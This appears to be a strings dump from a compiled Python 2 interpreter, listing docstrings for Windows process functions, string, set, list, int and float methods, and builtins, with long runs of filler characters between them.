CreatePipe(pipe_attrs, size) -> (read_handle, write_handle)
Create an anonymous pipe, and return handles to the read and
write ends of the pipe.
pipe_attrs is ignored internally and can be None.
CreateProcess(app_name, cmd_line, proc_attrs, thread_attrs,
               inherit, flags, env_mapping, curdir,
               startup_info) -> (proc_handle, thread_handle,
                                 pid, tid)
Create a new process and its primary thread. The return
value is a tuple of the process handle, thread handle,
process ID, and thread ID.
proc_attrs and thread_attrs are ignored internally and can be None.
TerminateProcess(handle, exit_code) -> None
Terminate the specified process and all of its threads.
GetExitCodeProcess(handle) -> Exit code
Return the termination status of the specified process.
WaitForSingleObject(handle, timeout) -> result
Wait until the specified object is in the signaled state or
the time-out interval elapses. The timeout value is specified
in milliseconds.
GetVersion() -> version
Return the version number of the current operating system.
GetModuleFileName(module) -> path
Return the fully-qualified path for the file that contains
the specified module. The module must have been loaded by the
current process.
The module parameter should be a handle to the loaded module
whose path is being requested. If this parameter is 0, 
GetModuleFileName retrieves the path of the executable file
of the current process.
S.title() -> unicode
Return a titlecased version of S, i.e. words start with title case
characters, all remaining cased characters have lower case.
S.capitalize() -> unicode
Return a capitalized version of S, i.e. make the first character
have upper case and the rest lower case.
S.center(width[, fillchar]) -> unicode
Return S centered in a Unicode string of length width. Padding is
done using the specified fill character (default is a space)
S.count(sub[, start[, end]]) -> int
Return the number of non-overlapping occurrences of substring sub in
Unicode string S[start:end].  Optional arguments start and end are
interpreted as in slice notation.
S.encode([encoding[,errors]]) -> string or unicode
Encodes S using the codec registered for encoding. encoding defaults
to the default encoding. errors may be given to set a different error
handling scheme. Default is 'strict' meaning that encoding errors raise
a UnicodeEncodeError. Other possible values are 'ignore', 'replace' and
'xmlcharrefreplace' as well as any other name registered with
codecs.register_error that can handle UnicodeEncodeErrors.
S.decode([encoding[,errors]]) -> string or unicode
Decodes S using the codec registered for encoding. encoding defaults
to the default encoding. errors may be given to set a different error
handling scheme. Default is 'strict' meaning that encoding errors raise
a UnicodeDecodeError. Other possible values are 'ignore' and 'replace'
as well as any other name registered with codecs.register_error that is
able to handle UnicodeDecodeErrors.
S.expandtabs([tabsize]) -> unicode
Return a copy of S where all tab characters are expanded using spaces.
If tabsize is not given, a tab size of 8 characters is assumed.
S.find(sub [,start [,end]]) -> int
Return the lowest index in S where substring sub is found,
such that sub is contained within S[start:end].  Optional
arguments start and end are interpreted as in slice notation.
Return -1 on failure.
S.index(sub [,start [,end]]) -> int
Like S.find() but raise ValueError when the substring is not found.
S.islower() -> bool
Return True if all cased characters in S are lowercase and there is
at least one cased character in S, False otherwise.
S.isupper() -> bool
Return True if all cased characters in S are uppercase and there is
at least one cased character in S, False otherwise.
S.istitle() -> bool
Return True if S is a titlecased string and there is at least one
character in S, i.e. upper- and titlecase characters may only
follow uncased characters and lowercase characters only cased ones.
Return False otherwise.
S.isspace() -> bool
Return True if all characters in S are whitespace
and there is at least one character in S, False otherwise.
S.isalpha() -> bool
Return True if all characters in S are alphabetic
and there is at least one character in S, False otherwise.
S.isalnum() -> bool
Return True if all characters in S are alphanumeric
and there is at least one character in S, False otherwise.
S.isdecimal() -> bool
Return True if there are only decimal characters in S,
False otherwise.
S.isdigit() -> bool
Return True if all characters in S are digits
and there is at least one character in S, False otherwise.
S.isnumeric() -> bool
Return True if there are only numeric characters in S,
False otherwise.
S.join(iterable) -> unicode
Return a string which is the concatenation of the strings in the
iterable.  The separator between elements is S.
S.ljust(width[, fillchar]) -> int
Return S left-justified in a Unicode string of length width. Padding is
done using the specified fill character (default is a space).
S.lower() -> unicode
Return a copy of the string S converted to lowercase.
S.__sizeof__() -> size of S in memory, in bytes
S.strip([chars]) -> unicode
Return a copy of the string S with leading and trailing
whitespace removed.
If chars is given and not None, remove characters in chars instead.
If chars is a str, it will be converted to unicode before stripping
S.lstrip([chars]) -> unicode
Return a copy of the string S with leading whitespace removed.
If chars is given and not None, remove characters in chars instead.
If chars is a str, it will be converted to unicode before stripping
S.rstrip([chars]) -> unicode
Return a copy of the string S with trailing whitespace removed.
If chars is given and not None, remove characters in chars instead.
If chars is a str, it will be converted to unicode before stripping
S.replace(old, new[, count]) -> unicode
Return a copy of S with all occurrences of substring
old replaced by new.  If the optional argument count is
given, only the first count occurrences are replaced.
S.rfind(sub [,start [,end]]) -> int
Return the highest index in S where substring sub is found,
such that sub is contained within S[start:end].  Optional
arguments start and end are interpreted as in slice notation.
Return -1 on failure.
S.rindex(sub [,start [,end]]) -> int
Like S.rfind() but raise ValueError when the substring is not found.
S.rjust(width[, fillchar]) -> unicode
Return S right-justified in a Unicode string of length width. Padding is
done using the specified fill character (default is a space).
S.split([sep [,maxsplit]]) -> list of strings
Return a list of the words in S, using sep as the
delimiter string.  If maxsplit is given, at most maxsplit
splits are done. If sep is not specified or is None, any
whitespace string is a separator and empty strings are
removed from the result.
S.partition(sep) -> (head, sep, tail)
Search for the separator sep in S, and return the part before it,
the separator itself, and the part after it.  If the separator is not
found, return S and two empty strings.
S.rpartition(sep) -> (head, sep, tail)
Search for the separator sep in S, starting at the end of S, and return
the part before it, the separator itself, and the part after it.  If the
separator is not found, return two empty strings and S.
S.rsplit([sep [,maxsplit]]) -> list of strings
Return a list of the words in S, using sep as the
delimiter string, starting at the end of the string and
working to the front.  If maxsplit is given, at most maxsplit
splits are done. If sep is not specified, any whitespace string
is a separator.
S.splitlines(keepends=False) -> list of strings
Return a list of the lines in S, breaking at line boundaries.
Line breaks are not included in the resulting list unless keepends
is given and true.
S.swapcase() -> unicode
Return a copy of S with uppercase characters converted to lowercase
and vice versa.
S.translate(table) -> unicode
Return a copy of the string S, where all characters have been mapped
through the given translation table, which must be a mapping of
Unicode ordinals to Unicode ordinals, Unicode strings or None.
Unmapped characters are left untouched. Characters mapped to None
are deleted.
S.upper() -> unicode
Return a copy of S converted to uppercase.
S.zfill(width) -> unicode
Pad a numeric string S with zeros on the left, to fill a field
of the specified width. The string S is never truncated.
S.startswith(prefix[, start[, end]]) -> bool
Return True if S starts with the specified prefix, False otherwise.
With optional start, test S beginning at that position.
With optional end, stop comparing S at that position.
prefix can also be a tuple of strings to try.
S.endswith(suffix[, start[, end]]) -> bool
Return True if S ends with the specified suffix, False otherwise.
With optional start, test S beginning at that position.
With optional end, stop comparing S at that position.
suffix can also be a tuple of strings to try.
n_sequence_fields
S.format(*args, **kwargs) -> unicode
Return a formatted version of S, using substitutions from args and kwargs.
The substitutions are identified by braces ('{' and '}').
S.__format__(format_spec) -> unicode
Return a formatted version of S as described by format_spec.
n_fields
unicode(object='') -> unicode object
unicode(string[, encoding[, errors]]) -> unicode object
Create a new Unicode object from the given encoded string.
encoding defaults to the current default string encoding.
errors can be 'strict', 'replace' or 'ignore' and defaults to 'strict'.
n_unnamed_fields
 !""#$%&'"""()*+,-./0123456789:;<=>?@@@ABC@@@DEF@@@@@@G
HIJKLM@NOPQRST@@UV""""""W"""""X""""""""""""""""""""""""""""""""""""YZ[\"""]"""^_"""""`"""a""""""""""bcd""""""ef""""""""g""""""""""""""h""""""""i""""e""""""""""""""""""""h""""""j""""""""""""""""kl"""""""""""""""""mn"""""""""""""""""o"""""""""p""qrstuvwxyz
{"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""|@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@}~
""""""
""""""""
"""""""""""""""W
""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""
""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
0////123123123
//////////////////
////////////
\]]^_`aaabcd
777kkkkkkkkkkkkkkkk
ffffffffffffffff
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
oooooooooooooooooooooooooooooooooooooo
///////////////////////////
//////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////
//////////////////////
//////////////////////////////////////////////////////
//////////
///////
////////
//////////////////////
///////
//////
//////////////////////
///////
/////////
//////////////////////
///////
////////
//////////////////////
///////
//////
////////////
////////
///////////////////////
//////////
////////
///////////////////////
//////////
////////
///////////////////////
////////////////
//////
//////////////////
////////////////////////
/////////
///////
////////////////////////////////////////////////
///////
///////
////////
////////////////////////////////////
///////////////////////////////////////////
//////
/////////////
pppppppppppppppppppppppppppppppppppppp
///////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////
/////////////////////////////////////////
/////////////////////////////////
///////
///////////////
/////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////
qrstuv
////////////////
/////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////
//////////////////////////
///////////////////////////////////////////////////////////////////////////
/////////////
//////////////////
//////////////////
/////////////
////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
/////////////////////////////
//////////////////////////////
////////////////////////////////////////////
///////
///////////////////////
/////////////////////////////////////////////////////
///////////////////////////////////////////////
///////
//////////////////////////////
////////////////////////////////////
////////////////////////////////////
//////////////////////////////////////////////////////
/////////////////////////////////////
{{{{{{{{||||||||{{{{{{
||||||
{{{{{{{{||||||||{{{{{{{{||||||||{{{{{{
||||||
|{{{{{{{{||||||||}}~~~~
{{{{{{{{
{{{{{{{{
{{{{{{{{
qrstuv
qrstuv
qrstuv
qrstuv
qrstuv
qrstuv
qrstuv
qrstuv
qrstuv
nnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
ooooooooooooooooooooooooooooooooooooooooooooooo
//////////////////////////////////////////////////////
///////////////////////
///////
///////
///////
///////
///////
///////
///////
///////
//////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////
////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////
///////
////////////////////////////////////////
//////////////////////////////
////////
////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////
/////////////////////////////////////////////////////////////////
//////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////
//////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////
///////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////
/////////////
//////////////////////////////////////////////
/////////////
////////////////
//////////////////////////////////////////////////////////////////////
/////////
///////
///////////////////////
////////////////////////////////////////////////////
//////////////////////////////////////////////////
//////
////////////////////////////
///////////////////////
/////////////////////////////
///////////////////////////////////////////////
/////////////////////////////////////////
////////
///////////////////////
////////////////////////////////////////////////
///////////////////////////////////
////////////////////////////////////
///////////////////////
/////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////
///////
/////////////////////////////////////////////////////////
//////////////////////////////
/////////////////////////////////////////
////////////////////////////////////////////////
//////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////
/////////////
////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////
////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////
//////
//////
//////
////////////
//////////////////////////
///////////////////
///////////////
//////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////
/////////////////////////////////////////////////
///////////////////////////////
/////////////////
////////
//////////////////////////////
////////////////////////////////////
////////
//////////////////////////////////////////////////////////////////////////////
//////
////////////////////////////////////////////
///////////////////////
//////////////////////
//////////////////////////
///////////////////////////
/////////////////////////////
//////////////////////////////////////////////////////
//////////////////////
///////////////////
/////////////////////////////////////////////////////////////////////////
qrstuv
/////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaa
aaaaaaa
aaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaa
qrstuv
//////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////
////////
///////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////
///////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////
//////////////////////////////
type(object) -> the object's type
type(name, bases, dict) -> a new type
Abstract classes can override this to customize issubclass().
This is invoked early on by abc.ABCMeta.__subclasscheck__().
It should return True, False or NotImplemented.  If it returns
NotImplemented, the normal algorithm is used.  Otherwise, it
overrides the normal algorithm (and the outcome is cached).
super(type, obj) -> bound super object; requires isinstance(obj, type)
super(type) -> unbound super object
super(type, type2) -> bound super object; requires issubclass(type2, type)
Typical use to call a cooperative superclass method:
class C(B):
    def meth(self, arg):
        super(C, self).meth(arg)
tuple() -> empty tuple
tuple(iterable) -> tuple initialized from iterable's items
If the argument is a tuple, the return value is the same object.
T.index(value, [start, [stop]]) -> integer -- return first index of value.
Raises ValueError if the value is not present.
T.count(value) -> integer -- return number of occurrences of value
Private method returning an estimate of len(list(it)).
Update a set with the union of itself and others.
S.split([sep [,maxsplit]]) -> list of strings
Return a list of the words in the string S, using sep as the
delimiter string.  If maxsplit is given, at most maxsplit
splits are done. If sep is not specified or is None, any
whitespace string is a separator and empty strings are removed
from the result.
S.partition(sep) -> (head, sep, tail)
Search for the separator sep in S, and return the part before it,
the separator itself, and the part after it.  If the separator is not
found, return S and two empty strings.
S.rpartition(sep) -> (head, sep, tail)
Search for the separator sep in S, starting at the end of S, and return
the part before it, the separator itself, and the part after it.  If the
separator is not found, return two empty strings and S.
S.rsplit([sep [,maxsplit]]) -> list of strings
Return a list of the words in the string S, using sep as the
delimiter string, starting at the end of the string and working
to the front.  If maxsplit is given, at most maxsplit splits are
done. If sep is not specified or is None, any whitespace string
is a separator.
S.join(iterable) -> string
Return a string which is the concatenation of the strings in the
iterable.  The separator between elements is S.
S.find(sub [,start [,end]]) -> int
Return the lowest index in S where substring sub is found,
such that sub is contained within S[start:end].  Optional
arguments start and end are interpreted as in slice notation.
Return -1 on failure.
S.index(sub [,start [,end]]) -> int
Like S.find() but raise ValueError when the substring is not found.
S.rfind(sub [,start [,end]]) -> int
Return the highest index in S where substring sub is found,
such that sub is contained within S[start:end].  Optional
arguments start and end are interpreted as in slice notation.
Return -1 on failure.
S.rindex(sub [,start [,end]]) -> int
Like S.rfind() but raise ValueError when the substring is not found.
S.strip([chars]) -> string or unicode
Return a copy of the string S with leading and trailing
whitespace removed.
If chars is given and not None, remove characters in chars instead.
If chars is unicode, S will be converted to unicode before stripping
Remove all elements from this set.
S.lstrip([chars]) -> string or unicode
Return a copy of the string S with leading whitespace removed.
If chars is given and not None, remove characters in chars instead.
If chars is unicode, S will be converted to unicode before stripping
S.rstrip([chars]) -> string or unicode
Return a copy of the string S with trailing whitespace removed.
If chars is given and not None, remove characters in chars instead.
If chars is unicode, S will be converted to unicode before stripping
S.lower() -> string
Return a copy of the string S converted to lowercase.
S.upper() -> string
Return a copy of the string S converted to uppercase.
S.title() -> string
Return a titlecased version of S, i.e. words start with uppercase
characters, all remaining cased characters have lowercase.
S.capitalize() -> string
Return a copy of the string S with only its first character
capitalized.
S.count(sub[, start[, end]]) -> int
Return the number of non-overlapping occurrences of substring sub in
string S[start:end].  Optional arguments start and end are interpreted
as in slice notation.
S.swapcase() -> string
Return a copy of the string S with uppercase characters
converted to lowercase and vice versa.
S.translate(table [,deletechars]) -> string
Return a copy of the string S, where all characters occurring
in the optional argument deletechars are removed, and the
remaining characters have been mapped through the given
translation table, which must be a string of length 256 or None.
If the table argument is None, no translation is applied and
the operation simply removes the characters in deletechars.
S.replace(old, new[, count]) -> string
Return a copy of string S with all occurrences of substring
old replaced by new.  If the optional argument count is
given, only the first count occurrences are replaced.
S.startswith(prefix[, start[, end]]) -> bool
Return True if S starts with the specified prefix, False otherwise.
With optional start, test S beginning at that position.
With optional end, stop comparing S at that position.
prefix can also be a tuple of strings to try.
S.endswith(suffix[, start[, end]]) -> bool
Return True if S ends with the specified suffix, False otherwise.
With optional start, test S beginning at that position.
With optional end, stop comparing S at that position.
suffix can also be a tuple of strings to try.
S.encode([encoding[,errors]]) -> object
Encodes S using the codec registered for encoding. encoding defaults
to the default encoding. errors may be given to set a different error
handling scheme. Default is 'strict' meaning that encoding errors raise
a UnicodeEncodeError. Other possible values are 'ignore', 'replace' and
'xmlcharrefreplace' as well as any other name registered with
codecs.register_error that is able to handle UnicodeEncodeErrors.
Update a set with the intersection of itself and another.
S.decode([encoding[,errors]]) -> object
Decodes S using the codec registered for encoding. encoding defaults
to the default encoding. errors may be given to set a different error
handling scheme. Default is 'strict' meaning that encoding errors raise
a UnicodeDecodeError. Other possible values are 'ignore' and 'replace'
as well as any other name registered with codecs.register_error that is
able to handle UnicodeDecodeErrors.
S.expandtabs([tabsize]) -> string
Return a copy of S where all tab characters are expanded using spaces.
If tabsize is not given, a tab size of 8 characters is assumed.
S.ljust(width[, fillchar]) -> string
Return S left-justified in a string of length width. Padding is
done using the specified fill character (default is a space).
Return True if two sets have a null intersection.
S.rjust(width[, fillchar]) -> string
Return S right-justified in a string of length width. Padding is
done using the specified fill character (default is a space)
Remove all elements of another set from this set.
S.center(width[, fillchar]) -> string
Return S centered in a string of length width. Padding is
done using the specified fill character (default is a space)
S.zfill(width) -> string
Pad a numeric string S with zeros on the left, to fill a field
of the specified width.  The string S is never truncated.
S.isspace() -> bool
Return True if all characters in S are whitespace
and there is at least one character in S, False otherwise.
S.isalpha() -> bool
Return True if all characters in S are alphabetic
and there is at least one character in S, False otherwise.
S.isalnum() -> bool
Return True if all characters in S are alphanumeric
and there is at least one character in S, False otherwise.
Returns a reverse iterator.
S.isdigit() -> bool
Return True if all characters in S are digits
and there is at least one character in S, False otherwise.
S.islower() -> bool
Return True if all cased characters in S are lowercase and there is
at least one cased character in S, False otherwise.
S.isupper() -> bool
Return True if all cased characters in S are uppercase and there is
at least one cased character in S, False otherwise.
S.istitle() -> bool
Return True if S is a titlecased string and there is at least one
character in S, i.e. uppercase characters may only follow uncased
characters and lowercase characters only cased ones. Return False
otherwise.
S.splitlines(keepends=False) -> list of strings
Return a list of the lines in S, breaking at line boundaries.
Line breaks are not included in the resulting list unless keepends
is given and true.
S.__sizeof__() -> size of S in memory, in bytes
S.format(*args, **kwargs) -> string
Return a formatted version of S, using substitutions from args and kwargs.
The substitutions are identified by braces ('{' and '}').
S.__format__(format_spec) -> string
Return a formatted version of S as described by format_spec.
Type basestring cannot be instantiated; it is the base for str and unicode.
str(object='') -> string
Return a nice string representation of the object.
If the argument is a string, the return value is the same object.
cmp() wrapper for sort with custom keys.
slice(stop)
slice(start, stop[, step])
Create a slice object.  This is used for extended slicing (e.g. a[0:10:2]).
x.__getitem__(y) <==> x[y]
S.indices(len) -> (start, stop, stride)
Assuming a sequence of length len, calculate the start and stop
indices, and the stride length of the extended slice described by
S. Out of bounds indices are clipped in a manner consistent with the
handling of normal slices.
Return state information for pickling.
L.__reversed__() -- return a reverse iterator over the list
L.append(object) -- append object to end
Remove and return an arbitrary set element.
Raises KeyError if the set is empty.
Private method returning an estimate of len(list(it)).
L.reverse() -- reverse *IN PLACE*
Return a shallow copy of a set.
Return the union of sets as a new set.
(i.e. all elements that are in either set.)
Return the intersection of two or more sets as a new set.
(i.e. elements that are common to all of the sets.)
Return the difference of two or more sets as a new set.
(i.e. all elements that are in this set but not the others.)
Update a set with the symmetric difference of itself and another.
Return the symmetric difference of two sets as a new set.
(i.e. all elements that are in exactly one of the sets.)
Report whether another set contains this set.
Report whether this set contains another set.
Add an element to a set.
This has no effect if the element is already present.
x.__contains__(y) <==> y in x.
Remove an element from a set; it must be a member.
If the element is not a member, raise a KeyError.
Remove an element from a set if it is a member.
If the element is not a member, do nothing.
Return state information for pickling.
S.__sizeof__() -> size of S in memory, in bytes
close() -> raise GeneratorExit inside generator.
set() -> new empty set object
set(iterable) -> new set object
Build an unordered collection of unique elements.
Return the name of the generator's associated code object.
frozenset() -> empty frozenset object
frozenset(iterable) -> frozenset object
Build an immutable unordered collection of unique elements.
flush() -> None.  Flush the internal I/O buffer.
xrange(stop) -> xrange object
xrange(start, stop[, step]) -> xrange object
Like range(), but instead of returning a list, returns an object that
generates the numbers in the range on demand.  For looping, this is 
slightly faster than range() and more memory efficient.
Private method returning an estimate of len(list(it)).
module(name[, doc])
Create a module object.
The name must be a string; the optional doc argument can have any type.
memoryview(object)
Create a new memoryview object which references the given object.
long.bit_length() -> int or long
Number of bits necessary to represent self in binary.
>>> bin(37L)
'0b100101'
>>> (37L).bit_length()
long(x=0) -> long
long(x, base=10) -> long
Convert a number or string to a long integer, or return 0L if no arguments
are given.  If x is floating point, the conversion truncates towards zero.
If x is not a number or if base is given, then x must be a string or
Unicode object representing an integer literal in the given base.  The
literal can be preceded by '+' or '-' and be surrounded by whitespace.
The base defaults to 10.  Valid bases are 0 and 2-36.  Base 0 means to
interpret the base from the string as an integer literal.
>>> int('0b100', base=0)
sys.long_info
A struct sequence that holds information about Python's
internal representation of integers.  The attributes are read only.
Object wrapper with a custom sort key.
L.__sizeof__() -- size of L in memory, in bytes
L.extend(iterable) -- extend list by appending elements from the iterable
L.insert(index, object) -- insert object before index
L.pop([index]) -> item -- remove and return item at index (default last).
Raises IndexError if list is empty or index is out of range.
L.remove(value) -- remove first occurrence of value.
Raises ValueError if the value is not present.
L.index(value, [start, [stop]]) -> integer -- return first index of value.
Raises ValueError if the value is not present.
L.count(value) -> integer -- return number of occurrences of value
L.sort(cmp=None, key=None, reverse=False) -- stable sort *IN PLACE*;
cmp(x, y) -> -1, 0, 1
list() -> new empty list
list(iterable) -> new list initialized from iterable's items
Private method returning an estimate of len(list(it)).
Private method returning an estimate of len(list(it)).
int(x=0) -> int or long
int(x, base=10) -> int or long
Convert a number or string to an integer, or return 0 if no arguments
are given.  If x is floating point, the conversion truncates towards zero.
If x is outside the integer range, the function returns a long instead.
If x is not a number or if base is given, then x must be a string or
Unicode object representing an integer literal in the given base.  The
literal can be preceded by '+' or '-' and be surrounded by whitespace.
The base defaults to 10.  Valid bases are 0 and 2-36.  Base 0 means to
interpret the base from the string as an integer literal.
>>> int('0b100', base=0)
int.bit_length() -> int
Number of bits necessary to represent self in binary.
>>> bin(37)
'0b100101'
>>> (37).bit_length()
send(arg) -> send 'arg' into generator,
return next yielded value or raise StopIteration.
throw(typ[,val[,tb]]) -> raise exception in generator,
return next yielded value or raise StopIteration.
function(code, globals[, name[, argdefs[, closure]]])
Create a function object from a code object and a dictionary.
The optional name string overrides the name from the code object.
The optional argdefs tuple specifies the default argument values.
The optional closure tuple supplies the bindings for free variables.
classmethod(function) -> method
Convert a function to be a class method.
A class method receives the class as implicit first argument,
just like an instance method receives the instance.
To declare a class method, use this idiom:
  class C:
      def f(cls, arg1, arg2, ...): ...
      f = classmethod(f)
It can be called either on the class (e.g. C.f()) or on an instance
(e.g. C().f()).  The instance is ignored except for its class.
If a class method is called for a derived class, the derived class
object is passed as the implied first argument.
Class methods are different than C++ or Java static methods.
If you want those, see the staticmethod builtin.
staticmethod(function) -> method
Convert a function to be a static method.
A static method does not receive an implicit first argument.
To declare a static method, use this idiom:
     class C:
     def f(arg1, arg2, ...): ...
     f = staticmethod(f)
It can be called either on the class (e.g. C.f()) or on an instance
(e.g. C().f()).  The instance is ignored except for its class.
Static methods in Python are similar to those found in Java or C++.
For a more advanced concept, see the classmethod builtin.
F.__sizeof__() -> size of F in memory, in bytes
sys.float_info
A structseq holding information about the float type. It contains low level
information about the precision and internal representation. Please study
your system's :file:`float.h` for more information.
float.hex() -> string
Return a hexadecimal representation of a floating-point number.
>>> (-0.1).hex()
'-0x1.999999999999ap-4'
>>> 3.14159.hex()
'0x1.921f9f01b866ep+1'
float.fromhex(string) -> float
Create a floating-point number from a hexadecimal string.
>>> float.fromhex('0x1.ffffp10')
2047.984375
>>> float.fromhex('-0x1p-1074')
-4.9406564584124654e-324
float.as_integer_ratio() -> (int, int)
Return a pair of integers, whose ratio is exactly equal to the original
float and with a positive denominator.
Raise OverflowError on infinities and a ValueError on NaNs.
>>> (10.0).as_integer_ratio()
(10, 1)
>>> (0.0).as_integer_ratio()
(0, 1)
>>> (-.25).as_integer_ratio()
(-1, 4)
float.__getformat__(typestr) -> string
You probably don't want to use this function.  It exists mainly to be
used in Python's test suite.
typestr must be 'double' or 'float'.  This function returns whichever of
'unknown', 'IEEE, big-endian' or 'IEEE, little-endian' best describes the
format of floating point numbers used by the C type named by typestr.
float.__setformat__(typestr, fmt) -> None
You probably don't want to use this function.  It exists mainly to be
used in Python's test suite.
typestr must be 'double' or 'float'.  fmt must be one of 'unknown',
